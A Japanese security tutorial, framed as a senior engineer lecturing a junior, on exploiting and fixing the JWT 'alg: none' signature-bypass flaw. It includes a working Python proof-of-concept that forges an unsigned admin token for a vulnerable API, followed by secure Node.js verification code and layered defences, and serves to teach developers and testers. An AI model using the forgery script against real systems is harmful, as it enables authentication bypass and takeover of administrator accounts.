【実務・中級編】 JWTの署名検証不備(Noneアルゴリズム)の悪用 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

おい、新入り。ちょっとこっちに来い。

先日のペネトレーションテストのレポート、お前が担当した案件のレビューをしていたんだが……なんだこの脆弱性は。JSON Web Token(JWT)の設計ミス、しかも alg: none を通してしまう実装がそのまま残っていたぞ。

「ライブラリがよしなにやってくれると思った」?
エンジニアとして一番言っちゃいけないセリフだ。セキュリティの世界において、「勝手に安全にしてくれる」なんて幻想は存在しない。お前が書いた、あるいはフレームワークのデフォルトを盲信したそのコードのせいで、攻撃者は一瞬でシステム全体の管理者権限(admin: true)を強奪できる状態だったんだ。

今日は、この「JWTの署名検証不備(Noneアルゴリズムの悪用)」という、何度注意しても新人エンジニアが踏み抜く地雷について、俺が徹底的に叩き込んでやる。耳の穴をかっぽじじよく聞いておけ。

—

1. なぜ alg: none は生まれ、なぜ悪用されるのか?

そもそもJWTの仕様(RFC 7519)を思い出せ。JWTは「Header」「Payload」「Signature」の3つのパートがドット(.)で連結されている構造をしている。

通常、サーバーは Header に書かれたアルゴリズム(例えば HS256 や RS256)を確認し、秘密鍵や公開鍵を使って Signature が改ざんされていないかを数学的に検証する。

しかし、JWTの初期仕様や一部のライブラリの歴史的経緯において、「テスト環境やデバッグのために、署名検証をスキップしたい」 という身勝手な開発者の都合から、alg パラメータに none(または大文字小文字を混ぜたもの)を指定された場合、「署名が存在しない=検証を行わない」 という挙動を許容する仕様が組み込まれてしまった。

攻撃者はこの設計の盲点を突く。
1. 本物のJWTを手に入れる(一般ユーザー権限のものでも構わない)。
2. ヘッダーをデコードし、{"alg": "none", "typ": "JWT"} に書き換える。
3. ペイロードをデコードし、権限部分を書き換える(例: {"user_id": 123, "role": "admin"})。
4. 最後に続く署名(Signature)の部分をごっそり削除する(または空にする)。
5. これをサーバーに送りつける。

ライブラリが「おっ、alg が none だから署名チェックはパスでいいんだな!」と勘違いすれば、サーバーは攻撃者が改ざんだいすき放題に書き換えたペイロードを「信頼された正当なデータ」として丸呑みしてしまう。これが、Authentication Bypass(認証バイパス)のメカニズムだ。

—

2. 【悪用のPoC】攻撃者はどうやって偽造トークンを作るのか?

百聞は一見にしかずだ。実際の攻撃スクリプト(PoC)がどれほどシンプルか、Pythonで書いて見せてやる。

import base64
import json

def create_none_algorithm_jwt(payload_data):
    """
    指定されたペイロードと alg: none を使って、
    署名検証をバイパスするための不正なJWTを生成するPoCスクリプト
    """
    
    # 1. ヘッダーの構築 (アルゴリズムに none を指定)
    header = {
        "alg": "none",
        "typ": "JWT"
    }
    
    # 2. パディングなしのBase64URLエンコードを行うヘルパー関数
    def base64url_encode(data):
        json_str = json.dumps(data, separators=(',', ':'))
        encoded = base64.urlsafe_b64encode(json_str.encode('utf-8'))
        return encoded.rstrip(b'=').decode('utf-8')
    
    encoded_header = base64url_encode(header)
    encoded_payload = base64url_encode(payload_data)
    
    # 3. 署名部分は空にする(末尾のドットで終わらせる、または空文字列を連結)
    # サーバー側実装によっては、ドットの後ろに何もなくても通る場合がある
    forged_jwt = f"{encoded_header}.{encoded_payload}."
    
    return forged_jwt

# 攻撃者が書き換えたい悪意あるペイロード(管理者権限を付与)
malicious_payload = {
    "sub": "9999",
    "username": "attacker",
    "role": "administrator",
    "iat": 1700000000
}

token = create_none_algorithm_jwt(malicious_payload)
print("[+] 生成された偽造JWT(Noneアルゴリズム攻撃用):")
print(token)

このスクリプトを実行して生成されたトークンを、脆弱なAPIエンドポイントの Authorization: Bearer <token> ヘッダーに放り込むだけで、攻撃者はシステム管理者としてログインできてしまう。笑えないよな?

—

3. 【対策】安全なJWT検証実装の鉄則

では、どうやってこの脆弱性を完全に塞ぐのか。
答えは明確だ。「none アルゴリズムを一切受け付けないこと」。そして、「利用するアルゴリズムをハードコードしてホワイトリスト検証すること」。

フレームワークやライブラリのデフォルト設定をそのまま信じるな。「ライブラリが勝手にやってくれる」のではなく、「開発者が明示的に安全な設定を強制する」のがプロの仕事だ。

以下に、現場でそのまま使えるセキュアな実装サンプルを提示する。今回はNode.js(JavaScript / Express環境でよく使われる jsonwebtoken ライブラリ)を例に取ろう。

セキュアな実装サンプル(Node.js / Express)

const jwt = require('jsonwebtoken');

// 厳格に管理されたシークレットキー(環境変数から読み込むこと)
const JWT_SECRET = process.env.JWT_SECRET;

/**
 * セキュアなJWT検証ミドルウェア
 */
function verifyJwtSecurely(req, res, next) {
    const authHeader = req.headers['authorization'];
    
    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        return res.status(401).json({ error: 'アクセストークンがありません' });
    }

    const token = authHeader.split(' ')[1];

    try {
        // 【超重要】
        // 1. algorithms オプションで利用を許可するアルゴリズムを厳密に指定する(HS256のみ等)。
        //    これにより、攻撃者がヘッダーで "alg": "none" を指定しても、
        //    jsonwebtokenライブラリが強制的にエラー(JsonWebTokenError)をスローする。
        // 2. デフォルトの挙動に頼らず、必ず明示的にアルゴリズムを指定すること。
        const decoded = jwt.verify(token, JWT_SECRET, {
            algorithms: ['HS256'] // ここに 'none' を含めないのはもちろん、想定外のアルゴリズムを排除する
        });

        // 検証成功したペイロードをリクエストオブジェクトに格納
        req.user = decoded;
        next();

    } catch (err) {
        // ログには詳細なエラーを出力しつつ、クライアントには一律で認証失敗を返す
        console.error(`[Security Warning] JWT検証失敗: ${err.message}`);
        return res.status(403).json({ error: '無効なトークンです' });
    }
}

module.exports = verifyJwtSecurely;

どうだ? コード自体は数行のオプション追加(algorithms: ['HS256'])に過ぎない。しかし、この数行をサボっただけで全社的なセキュリティインシデントに繋がり、顧客情報が流出し、お前が始末書を書く羽目になるんだ。

—

4. インフラ層・WAFでの多層防御

アプリケーションコードでの対策はもちろん必須だが、セキュリティチーフとしては「アプリ層がやらかしたときのための保険(多層防御)」も忘れない。

1. API Gateway / Nginxでのリバースプロキシ設定
もしフロントエンドのNginxやKongなどのAPI GatewayでJWTの簡易的な構造チェックやデコードを行う場合、alg ヘッダーをJSONパースして none や空値が含まれているリクエストを、アプリケーションサーバーに到達する前に問答無用で 403 Forbidden で弾くルール(WAFシグネチャやカスタムバリデーション)を仕込んでおけ。
2. ライブラリの定期的な脆弱性スキャン
使っているJWTライブラリ(jsonwebtoken, PyJWT, php-jwt 等)のバージョンが古いままだと、過去に発覚したパースの脆弱性(CVE)を踏むリスクがある。npm audit や Dependabot を常時稼働させ、依存関係のアップデートを怠るな。

—

5. まとめ

セキュリティとは、派手なハッキング技術のことじゃない。こうした「細部へのこだわり」と「仕様の隙間を埋める泥臭い確認作業」の積み重ねだ。

今日俺が教えた内容は、ペネトレーションテストの基本中の基本であり、同時にWebアプリケーション開発者が絶対に守らなければならない防衛線だ。

自分の過去のコードや、今進めているプロジェクトのコードを開いてみろ。「none アルゴリズムの排除」が正しく実装されているか、今すぐ確認するんだ。

よし、講義はここまで。手を動かしてコードを修正しろ。何か分からないことがあれば、また俺のところに聞きに来い。期待しているぞ、新入り。

コメント

タイトルとURLをコピーしました